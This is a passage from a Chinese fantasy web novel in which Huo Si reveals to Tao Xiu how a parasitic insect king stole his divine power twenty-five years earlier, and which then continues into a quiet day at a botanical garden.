它要求方子青带他去两个世界“结合”得相对来说更加紧密的地点,说可以从那些地方找到去另一个世界的入口。 它没有告诉方子青它的力量是【空间】,也没有告诉对方,它的力量其实十分弱小,完全没办法直接去往那个世界,它只能挑选一些世界壁相对来说比较薄弱的部分,尝试着在那些地方做出一个微小的通道——哪怕只有一毫米,也足够了。 它挑选出5个地方,又利用空间的力量将自己变小钻进了方子青的手臂。 5个地方中4个都失败了,它的尝试还引起了微小的空间地震,这样的地震自然对另一个世界没有任何影响,但即使是那样小的空间震感,对人类来说也是毁灭性的力量,那四个建筑中的人类都被这种空间地震活生生压死了。 直到,那天傍晚,他们来到了霞山。 这次,虫王终于用自己鸡肋的力量在一片别墅区附近有了一些突破,它几乎快要破开一道点状缝隙,它依旧无法【看到】和【认知】那个世界,但它知道,它梦寐以求的最高维神明的世界、就在那个即将出现的缝隙之中…… 但遗憾的是,它的力量太过弱小,尝试过很多次那道缝隙最终还是没有破开。 而因为这次它比前4次更加接近成功,所以比前4个地方更加强烈的空间地震就要海啸一样朝着整座霞山压去——那时,远处的陶家别墅里两个老人正在客厅里插花看报,享受着难得的假期,他们唯一的儿子正在卧室的书房继续工作——那时他已经快接家里的班了,几乎没有假期。 还需要人类继续投喂的虫王准备选择让他的宿主立刻离开——前四个地方的空间地震它的力量足够保护自己和宿主,但这次即将到来的空间地震至少会断断续续蔓延整座山,就连它去应对都有些勉强。 可是就在这时,一团美丽到无法言说的苍绿光芒像一棵植物的绿芽般从那个快要破开的缝隙里一点点冒了出来。 接着,一片耀眼纯净的光芒剧烈地爆开,它以那个缝隙为中心,飞快地向四周蔓延,就像一大片燃烧的美丽绿色火焰正在席卷整座霞山。 它仁慈又温柔地拂过山体苍绿的草木,拂过山间野营的年轻人,拂过正在人类居住区骑车的小孩儿。 他们无法看到它,也无法感知它,却全都被它美丽的光芒所照拂。 它所经过的地方,刚要起势的恐怖空间地震立刻消弭于无形。 最后,那片苍绿的火焰来到了一栋别墅,一位气质儒雅的老人正背着手站在花园里看星星,突然,他一怔,转身对旁边正在摘插瓶的鲜花的优雅老奶奶道:“哎呀,雅妍,我怎么好像看到萤火虫了?” “这年头环境不好,哪怕是乡下萤火虫也越来越少见了。能在这看见真难得。该把陶琛也叫下来看看,他一个年轻人天天工作怎么行?” 老奶奶抱着一束鲜花从花丛里起身,她往周围看了看,并未发现什么萤火虫,却还是笑着道:“我刚刚就去叫他休息了,那孩子说等会儿就下来。我先去放碟干净的清水在花园里,说不定会有更多萤火虫过来。哎呀,我也好久没看到了。” 她很快插好鲜花,接着将一碟干净的纯净水放在园子里的圆桌上。 星光下,她慈爱又期待地看着周围,眼角的皱纹都是笑意,那些看不到的绿色火焰此刻正像美丽的极光一般温柔地照拂过她的身体。 经过那张桌子时,碟子里的清水漾出浅浅的涟漪,像是来自另一个世界的客人友好又害羞的回响。 绿色的火焰就快要蔓延遍整栋别墅,就要照拂到最后一间卧室时,一道暗影悄然出现在别墅外的草坪上…… …… 看到这里,陶岫蓦然睁开了眼睛。 他的眼眶已经有些红,他深吸一口气努力平复心情,才哑着嗓子问霍斯:“那是什么?” 霍斯伸出手轻抚着怀里青年泛红的眼角,他深情地注视着青年半晌,才轻声道:“宝贝,那是你的灵魂。” “我们刚诞生时,是灵魂的形态。” 男人伸出另一只手抚摸着青年单薄的脊背安抚着对方,他道:“如果你不去拯救他们,就不会离开故乡,也不会被夺走力量。后悔吗?” 但是,他知道从来都知道青年的答案。 果然,他看到怀里的青年沉默一瞬直视着他。 那双美丽的苍绿瞳仁里亮着同当年别无二致的绿色火焰,就好像一个美丽的灵魂在剧烈燃烧,铺天盖地就要燎遍他的心野。 霍斯听到陶岫好听的声音坚定地响起来,钟声一样激荡在他的灵魂里:“不后悔。” 第55章 沉默一会儿后,陶岫的心情平复下来,他平静又温和地道:“之后的事情呢?我想继续看。” 霍斯温柔地注视了青年很久,最终还是将手指贴在了青年额上,陶岫弯了眼眸道了声:“多谢。” 接着他毫不犹豫地闭上了眼睛…… … 那只虫子直接通过手臂躲(钻)进了方子青的大脑,它控制着这个人类潜入了那栋别墅,它躲在阴影里兴奋地窥探着那团即将到达一间卧室的最亮的光芒:那里是整座山唯一还没被覆盖的地方,而那团光芒……就是神明灵魂的本体…… 刚刚诞生的、还处在脆弱状态的神明的灵魂……而且还是和它最契合的【空间】力量,多么适合被它吞噬……吞噬掉神明的灵魂和力量,它就是新的神…… 无数尖锐的腹足自方子青的身体里破出、带出无数新孵化的虫子虫卵,它们密密麻麻迅速覆盖着那些绿色的火焰,以这栋别墅为核心,贪婪地向所有被火焰覆盖的地方蔓延、迅速啃噬着这些苍绿色的力量…… 其实虫子也明白,它在进行一场豪赌。低纬度的生命直接对上高纬度的生命没有任何胜利的可能。低纬度的生命甚至对高纬度的存在无法认知。 就像一个蚁穴的蚂蚁族群,它们对【强大】与【攻击】的所有想象是族群中保卫群体的兵蚁,那些兵蚁有着及其发达的上颚和分泌毒汁的颚管,它们是族群中最强大的存在,可以击退敌人保护家园。 但人类甚至不必认识到那些蚂蚁的差别,他们无意识抬脚就能将任何一种蚂蚁碾死。哪怕是人类中最弱小的儿童,只要他能拿起一杯开水,就能将整个蚁穴的蚂蚁杀死。一个青少年如果拥有液态金属或者石膏,就能毫不费力地得到一个蚁穴的模型——而他们甚至不是为了生存,只是为了观察和取乐。 而蚂蚁直到死都对此一无所知。 这就是维度之间天堑一般的恐怖差异。 所以,虫子认为自己不必自不量力地去认知那个灵魂,它只要多咬对方几口多吃掉一些力量就足够了…… 它不知道祂的回击方式可怕到什么程度,但哪怕只有一只虫子吃到一口力量之后逃出去,它就赢了!哪怕没有虫子跑出去,只要有它留在实验室的孩子们在,它就能无数次复活! 但是,让虫子感到无比不解的是……吞噬那些力量进行得比它想象中还要顺利,无数次它觉得自己和子民们的身体要被隔着鸿沟般维度的浩瀚力量撑得爆炸,却又诡异地维持了形态得以继续吸收着…… 而那个苍绿的灵魂没有反击、也没有逃走……祂只是努力向最后一间卧室蔓延着自己的力量,却因为自己的力量突然开始大片大片地流失而无法动弹…… 空间地震已经开始了,别的被绿色火焰覆盖的地方都因为那些绿色火焰而变得安全,只有那间卧室很快就要被波及,那团最亮的绿色光芒似乎很着急,却像一只被咬住了咽喉的羔羊那样无力地僵在原地、任人宰割。 虫子开始感到好奇:祂明明有那样强大的力量,为什么现在又表现得那样弱小可欺,丝毫不反击呢? 其实它刚刚就有些奇怪,为什么另一个世界刚诞生不久的神明要来插手人类世界这渺小的一座山间发生的空间地震? 突然,它想到一种匪夷所思的可能性:难道是因为祂在保护这些人类? 祂的【空间】力量太过强大,连消弭这些空间地震祂都如此小心翼翼,生怕使用过多力量对这里造成伤害,那么,如果把这种力量用作【攻击】——哪怕是【挣扎】这种最微小程度的消极攻击,这座城市会不会顷刻倾覆? 用人类的词汇说,这叫投鼠忌器。 而为了努力救下最后一个人,祂甚至不选择逃走,只是拼命努力着! 真不敢想象,强大高贵的神明竟然可以为了如此渺小的人类像现在这样一动也不敢动地任它宰割! 躲在方子青大脑中的虫子终于体会到方子青那种疯狂的兴奋,它拼命制造出更多的子民,几近疯狂地吞噬着那些纯净的力量…… …… 它几乎吃掉了祂所有的力量,还想接着吞噬祂的灵魂,却猛然发现,它和神明之间那种天堑般的维度差又重新出现了……它和它所有的子民甚至都无法接近那个灵魂本体…… 而在那间卧室的空间地震发生后,那个苍绿的灵魂轻盈地坠下房顶,突然消失了。 那里明明什么都没有,虫子却觉得它在世界上所有的同类都在同时恐惧得颤栗……仿佛下一瞬就会全都化作齑粉、被彻底抹除存在…… 但到底什么都没发生。 只有人类世界尖锐的警笛声此时响了起来——诡异的虫子突然漫山遍野地出现,附近的住户自然早就报了警。 再加上那间卧室突然坍塌,这里也突然混乱起来。 虫子刚刚得到力量,需要摸索和消化,它不想太早被人类打扰,于是它并未继续寻找祂,利用刚刚得到的空间力量带着所有的虫子回到了地下实验室。 …… 回到那间实验室后,虫子和它的子民们离开了方子青的身体,方子青依旧保持了自我,却因为虫子的细胞已经开始在体内繁殖而不再算是人类。 他发现了一件再惊悚不过的事情:他和虫王离开的这段时间,那些留在地下实验室的虫子因为食欲开始暴动……短短时间里,它们吃掉了这栋大厦所有的员工…… 整座大厦到处是蠕动的虫子和人类的残骸,简直和人间炼狱没什么两样。 它们狡猾地将自己渺小的空间力量聚集起来,每进入一个地方,就将那一方小小的空间陷入和外界的隔离状态,它们隔绝了那些人类的提醒和求救,等到啃噬完里面绝望的人类,它们就再去下一个空间,吃到最后,那栋大楼陷入了彻底的寂静里,竟然没有一个人类逃出来。 即使冷血没人性如方子青,看到这一幕还是忍不住跑到厕所呕吐,人类的本能让他下意识恐惧:死了这么多人,绝对会引来最高级别的调查——血腥味这么重,说不定隔壁楼已经报警了! 那只大脑进化得越来越接近人类的虫王却告诉他,不必担心,它会使用自己得到的新力量规避人类的打扰…… 接着,它利用新得到的空间力量,将整座大厦翻转到地下,将这座大厦整个变作了人类无法探测的只属于它的繁殖空间…… 只是它和方子青发现,它的身体每次使用力量时,总会有部分身体破损,黑色的体|液会伴随力量的使用像【黑雨】一样倾泻而下,就好像……它的身体本就不能承受这些本就不属于它的力量……只是一旦有身体破损,它无数的子民便会前仆后继为它补好身体,于是它便并未在意这个小小的缺陷。 几天后,它还是用这样的力量在地下空间轻而易举打开了另一个世界的通道,那个世界正处于深度休眠期,到处是一片可怖的黑暗。 它知道自己无法承受那个世界里最至高无上的神的哪怕一次注视,因此只敢直接去到那些普通神明沉睡的密闭空间。 只是即使是那个世界里最普通的神明,它和它的子民在祂们面前依旧渺小得就像真正的虫子,在它小心翼翼地偷走祂们那些外溢的星星点点的力量时,祂们甚至都没有感知到它们的存在——就像人类不会在意一粒灰尘沾上身体。 它再一次对之前轻易地得到了【空间】力量感到一种危险的违和,却又因为得到了力量而自满膨胀,并未将那些违和放在心上。 虫王从新偷到的力量是【抹除存在】,它用这种力量在人类世界做了实验。 它试着将这座大厦和里面所有被虫子吃掉的人类在人类世界中【抹除】了存在。在这个过程中,方子青为了实验新能力的准度,也为了报复乔栋,建议虫王仅仅保留乔栋对这件事的记忆。 实验看似成功让虫王更加兴奋,它开始利用【空间】力量,从更多沉睡的神明那里偷取祂们外溢的力量…… 又过了几天,它已经因为吞吃了过多人类的身体、神明的力量与人工智能,进化到了新的维度:它开始彻底停止食用人类,转为使用人类。 它要使用那些人类为自己偷取更多神明们的外溢力量……就像蚂蚁会放牧蚜虫为自己获取更高级的食物。 已经接受了虫王的改造、将大脑与心脏移植到虫王身体的方子青提出,他们可以制作一个【游戏】,挑选出【玩家】去往那个世界为他们偷取力量…… 而方子青认为,人类恶的潜力比善的潜力更大,他认为人类世界中的罪犯可以更高效地为他们工作,而为了最大程度激发他们的积极性,要制定出一个骗局……比如告诉他们,他们可以得到一个愿望…… 于是虫王利用人工智能锁定了人类电子系统中最穷凶极恶的罪犯,它利用【空间】的力量将声音传送进犯人们的【脑空间】,在获取了他们的同意后,将他们拖入了地下空间。 在最初,虫王还无法好好控制自己的力量,会有一部分犯人死于与空间地震死状类似的空间挤压;方子青也发现,有部分人类似乎对虫子的细胞和体|液|过敏,他们似乎看不到【黑雨】。 有了【玩家】后,方子青利用虫王不断繁殖出的虫子做出了【手环】——【手环】与人体结合后,【手环】的大脑会游离到人类的脑中,像芯片一样彻底控制人类,又可以为虫王源源不断地传送他们从神明那里偷取的外溢力量。 而这些犯人经过【手环】的改造,已经彻底脱离了人类的范畴,他们变得和那些虫子一样,可以在祂们的世界如微尘一般生存——只是他们和那些虫子一样,依旧不能注视那个世界里最至高无上的邪神。 随着一批批犯人被虫王送入那个世界,方子青逐渐为【玩家】制定出系统的压榨规则,也设定出一个个【副本】。那些犯人开始频繁进出另一个世界,他们哪怕仅仅是待在那里,都会通过手环为虫王偷取力量…… …… 随着时间流逝,地下整座倒转的大厦全都变作了虫王身体的一部分,后来的玩家所在的大厅实质上就是在它的体内。 这时它判断,人类已经没有任何值得它【学习】的地方,它开始想要彻底吞噬自己体内方子青的大脑、心脏和意志…… 将方子青的意志吞噬得几乎只剩残渣后,虫王开始想要通过链接人类电子系统中更深更广的部分,获取更多符合标准的【玩家】信息,以得到更多【玩家】供它驱使,这需要大量数据升级他们体内人工智能的部分…… 于是它威胁诱惑了人类世界一个创办科技公司并研发了最新的人工智能模型的人类精英,要求他通过公司产品非法收集人类世界的海量信息并传送给它。 对方毫不犹豫地拒绝,并准备报警……出于报复,虫王利用力量交换了那个人类和他贪婪又富有野心的司机的人生。 那个人类变成了受制于人的司机,当初的司机成杨则摇身一变变成了科技公司的新贵老板,他并未在意这种诡异的转换是如何发生的,只是毫不犹豫地答应了虫王的要求,并且通过从它那里获取的零星信息,开始研究【游戏】和【玩家】,像当初的方子青一样,他也想要通过某种力量做世界的主宰…… …… 而在整个【游戏】系统变得完备的过程中,虫王从来没有忘记当初那个苍绿的灵魂,它依旧想彻底吞掉祂,获得更大的力量。 通过之前那次经历,它把祂定位为无害的【E级副本】,不断派遣玩家寻找对方,直到有一天,它相继从新来的玩家李行与吴非身上感知到了祂的力量,它将吴非派到了现实世界寻找祂…… 通过吴非定位到祂的那一天,虫王向人类世界传送玩家时,身体破损到几乎断裂,那天晚上,A市下了一场巨大的黑雨……所幸人类世界正常的大雨稀释了那些细胞,黑雨没有对普通人造成危害…… 可惜没有一个玩家能为它杀死祂并带回祂的身体…… 在感知到陶岫的孩子出生时,即使再畏惧陪在陶岫身边的祂们世界的主宰,虫王也不计代价地往现实世界里传送了成百上千的高级玩家,试图得到那个孩子——因为当初那场豪赌赌赢得到了无数收益,它便想豪赌第二次…… …… 陶岫蓦然睁开眼睛,苍绿的瞳仁里满是凉意。 他看向霍斯,声音难得冷得吓人:“那个沾了无数人命的怪物,目标是小星星?” “完全不用担心,亲爱的,”霍斯的大手抚上青年的太阳穴,轻轻按摩着,他道:“我发誓,那群卑贱的虫子连【注视】我们的孩子都无法做到。” 突然,他不知感受到什么,微微转身深深地看了杂物间一眼,接着他像是什么都没发生般把青年揽进怀里,道:“宝贝,你一定累了,睡个午觉休息下吧。那两个家伙过一会儿就带着小星星回来了。等你醒来就能看到他。” 陶岫若有所思看了霍斯一眼,点了点头:实在太多信息了,他必须休息下将自己的情绪调整好,以最好的样子面对他的孩子。 或许是因为霍斯揉着他的太阳穴很舒服,陶岫眼皮越来越沉,他几乎没来得及上床,便倒在男人肩头安心地睡去。 霍斯轻轻吻了下青年的额角,接着将对方稳稳拦腰抱起,走向杂物间的门。 那间卧室的窗帘不知什么时候已经拉上,整个房间都浸在一种令人安心的漆黑里,霍斯温柔地将青年安置在床上,他吻了下对方浓密的眼睫,声音轻而深情:“宝贝,我很快回来。” 接着,他离开了这间卧室,来到了空间巨大的书房。 书房角落放着一颗诡异又面目模糊的人头——那正是方子青的,是那对兄妹新拿到的虫子身体部位。 霍斯嫌弃又鄙夷地注视了它一眼,即使霍斯刻意控制,那颗人头还是承受不住他的注视,半颗硬生生化作了齑粉,最后残留的方子青的一丝意志在剩下的半颗人头里因为无法承受的痛苦而无声地哀嚎。 霍斯都不想,他只是大步来到了窗边,用力扯开了窗帘,冰冷地注视着庭院的天空:那里不知什么时候张开了一只巨大的、可怖的、猩红的眼睛。猩红的瞳仁几乎要把庭院的整个天空填满。 霍斯的声音冰冷至极:“你最好不要太过分。敢在他面前现身,即使你是这个世界的【规则】,我也会杀了你。” 【规则】的声音冷漠无情,带着某种诡异的空灵:【我只是想看看他长大的样子。就像你当初看他灵魂的样子。】 【而且,除非那些身体全部回到你的脊椎,否则你现在只能压制我,而不是彻底地压制我,更不是杀死我。】 霍斯危险地眯了眯眸子,霎时间整个天空都在震颤。 …… 书房对面的卧室里,美丽的青年却睡得香甜而无梦。 第56章 【规则】很快因为刚刚的震动消失,霍斯面上却依旧满是冷意。 他转过身,冷漠又不耐地看向角落里那颗痛苦又无声哀嚎着的人头。 他其实隐瞒陶岫的事情不算少。 比如,眼前这个人类和那只虫子还利用青年的力量卡住了那次撞击,因为虫子滥用了力量,导致两个世界的界限越来越模糊,已经开始融合很久了,现在那道薄薄的界限将很快被打破,所以陶岫会在那栋别墅直接看到另一个世界。 如果融合彻底发生,高维的世界只会吞噬掉低维的世界。 他其实可以直接将两个世界分离,但他的力量实在太过强大,在这个过程中,人类世界一定会受到巨大的影响,所以他才不得不把这些恶心的虫子身体带回书房,做一种对人类世界无害的【空间分离剂】。 毕竟,如果不是为了这一天,【规则】也不会在25年前任由可鄙的虫子偷走陶岫的力量。 陶岫刚刚出生时整个世界都在深度沉睡,他是黑暗中唯一活跃的亮光。 两个世界撞击时,高维世界的智慧生物如果没有沉睡,可以看到另一个世界每个角落的美丽风景。 直到现在霍斯都在怀疑,是不是就是在那个最孤独的时刻,那个绿色的小光团喜欢上了陪伴自己的人类世界,他后来才会为了那个世界付出那么多。 …… 他和陶岫第一次在那间客厅见面时就立刻看出了是谁偷走了青年的力量,所以那时他其实有些生气:这么虔诚又努力地供奉着他的小仆人怎么可以被别人欺负? 所以当天晚上,他因为不想回去对门动手脚,陶岫打开门时,门后的空间包括了所谓的【玩家大厅】。 那时他就想打个响指,拿回青年的力量后让那些虫子立刻消失。 但他抬起手的一瞬,沉睡期借走他【探知未来】力量的【规则】很突然地提醒了他,要他看那样做了之后的未来: 虫子消失,陶岫重新得到了力量。但两个世界那时已经融合,陶岫为了分离它们的同时保护人类,用自己的灵魂做了空间分离剂。 因为有陶岫的灵魂做缓冲,两个世界终于完成了撞击,安全地彻底分离。 祂们的世界继续随着星系轨道运行,与人类世界愈行愈远。可那个青年却被留在亿万光年之外的人类世界孤独地长眠。 …… 霍斯不认为自己那时已经深爱对方,他却对这种结果分外生气,于是他从青年身后覆上了对方的手背,用力关上了门。 后来,在和青年的相处中,他也想过别的办法:比如第一次尝试是,回到撞击开始发生的30年前,将那些虫子连存在本身都彻底抹杀。 但是,天然具有空间与吞噬人工智能两种力量的生物会诞生的成因是两个世界的撞击,他就算彻底抹杀那些虫子,还是会有别的具有那两种力量的生物诞生。 许多事情依旧会一如既往发生。 霍斯的第二次尝试是,试图抹杀另一个变量:那个打开了虫子进化按钮、叫方子青的人类。 他却依然失败了。 【规则】再次出现让他看到:一个贪婪愚蠢的方子青消失,还会有和方子青一样的人类出现,甚至会比方子青做得还要过分。那个世界永远不缺少贪婪愚蠢又傲慢的人。 第三次尝试,霍斯来到了25年前,隐身站在陶家别墅的花园里等待着那个绿色的光团出现,他会在小家伙消弭空间地震救人时,杀死会偷走祂力量的人类和虫子。之后,他会把小光团送回他们的世界藏起来,让他好好地在故乡长大。 他还会再好好教训下拿走了他一部分力量却不好好保护同类的【规则】——休息期里,祂们都在沉睡,可【规则】没有灵魂、没有实体,只有意志,自然永远清醒。 每次沉睡前,【规则】都会借走霍斯的一部分力量,以保护那些在休息期里诞生的同类。 可这次,【规则】竟然如此失职,它放走了陶岫,放任那只虫子偷走了陶岫的力量。 可正要出手时,25年前与25年后的【规则】空灵诡异的声音同时在他脑海中响起来:【我暂时得到你的力量,做出的决定自然带着你的意志的影响。】 【是我在阻止你,还是你在阻止你,亦或是我们在共同阻止你呢?】 【霍斯大人,你要明白,我存在的意义就是保护同类,我永远无法违背这样的天性。】所以永远不会背叛、伤害同类。它的任何行为都是为了保护同类。 霍斯闻言脸色冷得吓人,却无法反驳——因为,【规则】说得都是事实。 于是,他通过【规则】看到了他这样做后陶岫的第三种未来: 虫王和方子青被杀死后,那个小光团确实安全地回到了自己的世界。 可是,留在实验室的那部分虫子中,会产生新的虫王,它们会把人类世界弄得到处都是空间地震,无数人会死去。 那个小光团会再次来到人类世界,祂会消弭所有的空间地震。祂还打算替人类解决那些虫子:为了不伤害这个世界,祂不会攻击,祂会将自己的灵魂变作空间容器,将那些虫子永远困死在漆黑冰冷的地下。 …… 在这个未来中还有个分叉,霍斯杀死虫王的同时也杀死了留在实验室中所有的虫子,但是,两个世界的撞击依旧在进行,一批野生虫子灭亡后,又会有新的一批虫子诞生,人类、虫子、陶岫还是会进入相似的循环。 …… 看完这些后,霍斯垂在身下的手第一次紧紧握住了拳。 苍绿的火焰已经在脚下生气蓬勃地燃烧,霍斯知道,25年前的小家伙儿已经来了…… 而被虫子寄生的方子青就卑鄙地蛰伏在暗影里…… 【规则】冰冷空灵的声音再次响起来:【还有一种方法是,改变他的本性。霍斯大人,你知道的,你要做到这点非常简单。他会失去感情却永远安全。】 【但你会那样做吗?】 霍斯的声音冰冷至极:“闭嘴。” 【规则】:【所以我根据你的力量与你留在我这里的一缕意志的指示选择了最后一种方法。】 【那就是:如果那个小家伙不管在何种情境下做出的决定都是为了保护人类使用所有力量(甚至去死),那么把力量寄放在那只虫子那里,等它成长到一定地步可以用作拯救人类世界原料的时候,就让它带着那些力量替小家伙去死,不是很合适么?】 它的声音性高傲得像在审判犯人:【霍斯大人,您不觉得,这是最适合那些虫子的结局吗?】 【再次强调,这是小家伙做出选择后本来就会发生的事情,我并未干涉他的人生,我只是选择袖手旁观,不做任何行动。】 【所以这一次对人类来说牺牲最小的未来,实质上是小家伙完全靠自己的力量选择与这次的选择促成的(虽然祂本人并不清楚)——只要,您也不对过去插手。】 霍斯脸色黑得吓人,【规则】的声音在他脑海中被彻底撕碎:“滚。” 此时无数虫子已经在啃噬那些苍绿的力量,25年前的【规则】果然袖手旁观并未阻止…… 那些虫子无法承受那样浩瀚强大的力量,却因为同样具备【空间】的力量达到了诡异危险的平衡,它的身体最终如【规则】所愿,变成了承载祂力量的容器。只是,它的身体表面看起来没问题,实际上已经分崩离析,它日后每使用一次偷来的力量,身体还是会被力量撑破…… 无数虫子依旧在飞快地吞噬吸取那团光芒的力量,霍斯眼睁睁看着这一幕,只觉得自己的心脏中清晰地翻涌着无数戾气,他的手抬起无数次,最终却到底没有插手…… …… 最后,他以最温柔的姿态接住了那个从房顶坠落的绿色光团。 即使失去了大部分力量,祂依旧温暖得像雏鸟。 只是霍斯甚至还没来得及用手指轻轻碰碰祂,那个光团便挣扎着跳下了霍斯的掌心,去到了那间已经有老人抽泣声传来的坍塌的卧室。 人类看不见的温暖光团焦急地跳跃在那具年轻男性的尸体上试着救他,那个叫陶琛的人类却已经失去了生息。 隐去身形的霍斯站在原地,静静地看着那一幕。 【规则】:【霍斯大人,您现在体会到,强大也是一种束缚了吗?】 太过强大的存在是无法拯救太过弱小的存在的,因为天堑一般的维度差,最强者无论再如何控制力量,再微小的“拯救”的力量施加到弱小者身上也会变成一种可怕的伤害。 所以它和霍斯都因为强大而无法完全无害地消弭这场空间地震,也无法救那个人类。 可那团光芒使用力量时却可以做到那么温柔。祂虽然没能救下那个人类,却彻底消弭了这座山的空间地震,救了许多别的人类。 从这个角度来看,祂是祂们之中多么特别的存在啊! …… 那时的霍斯在25年前看了很久很久。 他看到那个苍绿的灵魂悄悄跳进了那个老奶奶的口袋,即使她无法看到祂,祂也那样努力地抱着她的手指安慰。 他看到那对老人搬了新家,独子死了他们再也无心公司事务,便每天麻木地生活,再一起发呆。 那团光芒总是跳跃在他们的肩头,努力又笨拙地安慰着他们。 有一天,老爷爷突然说,他好像又看到了萤火虫,又好像没有,老奶奶也没看到,她却像那天在花园里一样,往桌上放了一碟干净的清水。 她怔怔笑了:“陶琛还没能看到萤火虫呢……” 老爷爷拍着她的手背哑着嗓子道:“雅妍,咱们说好了啊……只消沉这么几天,然后,咱俩余生还是要好好过。这样才对得起琛琛。” 老奶奶眼眶立刻红了,面上却浮出个笑:“哎。我知道。” 那个苍绿的光团在他们相握的手上温柔地跳跃…… …… 又过了段时间,虫子使用偷来的力量卡住了两个世界的撞击,它不断从人类世界拖走玩家,又不断将玩家传送到祂们的世界,却又无法做到很好控制那些力量,溢出的强大力量导致两个世界开始缓慢融合。 普通人类暂时无法进入另一个世界,也并不知晓另一个世界的存在。 但是,维度的渐渐重合却让人类变得可以【看见】祂们的存在——比如,如果祂们来到人类世界,或是人类去到祂们的世界,人类都可以【看到】祂们。 在这个过程中,那个苍绿的光团越来越心疼那两个温柔的人类老人,祂也越来越黏人。 在被【看见】之前,祂选择了拥有人类的身体——祂们这样的存在本就是先诞生灵魂,再用灵魂慢慢滋养出自己想要的身体。 祂非常认真努力地生长出了人类的血肉,变成了一个彻彻底底的人类婴儿。 当家门口响起婴儿的哭声时,两位老人开门看到那个孩子的一瞬,便有种异样的温暖与熟悉,他们没怎么犹豫就收养了他,不久后带他离开了这座城市…… 他们把那个孩子养得很好。 只不过,高维的灵魂去适应一具低维的身体要受很多苦,那个孩子失去了大半另一个世界的记忆,学习能力与感知能力也都是滞后的。 可即使如此,他依旧成长得很好很好…… …… 书房里,沉浸在回忆里的霍斯此时已经用那个头颅做好了一瓶【空间分离剂】。 他随手将明天要用的这个瓶子丢进抽屉,无情地唤来一只不着家的狗,启动了它的清洁模式,将戴过的白手套丢进狗嘴里彻底绞碎。 接着他洗了整整三遍手,又换了套衣服,才走向那间卧室。 陶岫已经醒来了,一觉之后,他的精神恢复大半。 此时他正半坐在床上,敲着平板不知在做什么。 已经回来的陶星星累得在陶岫手边的摇篮床里甜甜睡着了,小小的嘴巴微张,吐着小泡泡。竺和小八则在客厅看电视。 一片安宁静好的午后氛围。 霍斯坐到床边就嗅到青年身上温暖好闻的气息,他温柔地看着对方:“亲爱的,你在做什么?” 陶岫一怔,抬起头朝男人露出个明媚美丽的笑:“准备工作的事情。明天刚好周一,我打算带陶星星去植物园上班。” 成运已经被特别行动局带走了,他在家没什么要做的事情了。 而就算需要时间与精力消化那么多从霍斯那里得知的诡异信息,班也还是要上的。 哪怕世界明天毁灭,他也要在毁灭的前一天好好爱他的亲人朋友爱人,不浪费一分一秒地好好生活——这就是他的人生信条。 想到什么,陶岫问道:“你今天的工作都做好了?” 霍斯优雅地点点头。 陶岫挑了眉:“明天什么工作计划?”如果工作不沉,他可以把霍斯抓去植物园做劳动力,闭园那么久了唉,重新开园第一天工作还挺多的。 霍斯:“明天我要外出一趟,然后……”他看向窗帘的方向眯了眯眸子:“去回收一些愚蠢的身体部位。”即使无法杀死对方,他至少要先把那个敢惦记陶岫的该死的【规则】狠狠揍上一顿。 陶岫有点遗憾地点点头,继续敲着平板里的文档:“好吧。祝我们明天都工作顺利。” 霍斯喜欢看陶岫做任何事情的样子,即使青年在聚精会神地工作不和他说话,他也能津津有味地看上很久。 他看着这样生动的青年,想到刚刚的回忆,他突然有点不解地问道:“宝贝,你为什么会那样喜欢人类?” 陶岫再次抬头:“?” 他失笑道:“你突然这样问,我也不知道该怎么回答啊,我大部分人生的自我认知本来就是人类——” 顿了下,他眨了眨苍绿的眼睛,回忆道:“啊我想到了。虽然不知道这样回答合不合适,但我小时候一直在做一个梦。” “我梦到,”青年的声音温柔至极:“我变成了一个小小的光团,孤零零地悬浮在无边无际的黑暗里。其实那种黑暗不讨厌,很温暖,只是孤零零听起来挺可怜对吧,但那时……另一个绚烂广阔的世界整个朝我奔来。无数人们交织出的无数人生像万花筒一样在我眼前展开。它们感染着我,塑造着我。” 陶岫歪了头看向男人,苍绿的眼眸闪闪发亮:“霍斯,那实在太美丽了。” 沉默半晌,霍斯低低地笑开,他俯身亲了口青年,声音低沉悦耳:“我知道了。” 第57章 第二天,陶岫带着陶星星和小八上班,霍斯用了瞬移送他们。 奇遇植物园有段时间不营业了,许多老顾客非常想念,即使是在工作日,这天也迎来了客流量的小高峰。 陶岫忙得脚不沾地的时候,小八就在婴儿房里陪陶星星玩。 那个房间是陶岫关掉植物园前亲手布置的,它由休息室改造,到处铺满了柔软厚实适合婴儿肤质的地毯,家具被移走了所以空间很大,屋子里没有任何尖尖角角的东西,哪怕是窗台的边棱,都被细心地包上了厚绒布。 这间屋子现在到处都是可爱的玩偶与风铃,天花板现在已经变成天蓝色的,上头画满了可爱的星星,连吊灯都被改造成了童稚又可爱的样子。 地上有顶小小的帐篷,里面铺了舒适的床铺,上面还放了陶星星最喜欢的玩偶。 陶星星现在虽然还不会走路,却已经学会爬了,一看到那顶帐篷他便开心地爬了进去。他笑得甜甜的,抱着他的玩偶小伙伴在帐篷里探索着。 小八蹲在帐篷前,一边看着陶星星一边好奇地念着帐篷门上小小牌子上的字:“小星星的秘密基地……” 陶星星听到小八的声音,将小脑袋探出门外,眨巴着大眼睛张开嘴咿咿呀呀说着什么,声音稚嫩好听,他很想问什么是秘密基地,却因为刚出生不久还不会说话。 小八温柔地笑了下,道:“秘密基地就是,小陶哥哥给小星星准备的专属房间哦,小星星开心和难过的时候都可以躲进去。” 陶星星眨巴了下大眼睛,他歪了头,一个意识便像小花一样在小八脑海中绽开:“我也可以送给妈咪一个秘密基地吗?” 小八一怔,甜甜笑开:“可以哦。我带小星星去做秘密基地~小陶哥哥一定会很开心的。” 陶岫不止给小星星准备了礼物,也给她准备了阅读角和玩具角,玩具角里有一套新的积木玩具。 说罢她便抱起陶星星往屋子里开阔的空间走去——那里方便搭积木。 …… “阿嚏” 陶岫此时正在二楼的草莓大棚里检查冬季的保温系统,顺便种一些草莓苗,他起身摸了下鼻尖,看向楼下办公室的方向:是小星星想他了么? 他看了下手表:还有三十分钟就是喂小星星喝奶粉的时间,刚好够他种完这些草莓苗。 正在这时,一个身影悄然出现在陶岫身后,下一瞬,徐染秋温和的声音响起来:“这里的草莓棚在A市很有名,在因为那份鲜花供应合同来这里找你前,我就听同事说过很多次了。” “虽然没看到草莓,但在冬天看着这些翠绿的草莓苗,也会让人心情很好。” 陶岫一怔,转过身来,面上浮出个惊讶又温和的微笑:“徐秘书?” 上次见到徐秘书还是在他家里,那时,徐秘书偷偷将一个高级玩家带回了家,想杀了对方为自己父母报仇…… 那时他失血很多,即使陶星星为他治好了外伤,应该也要养很久。 想到这里,他关切地问道:“你身体还好吗?” 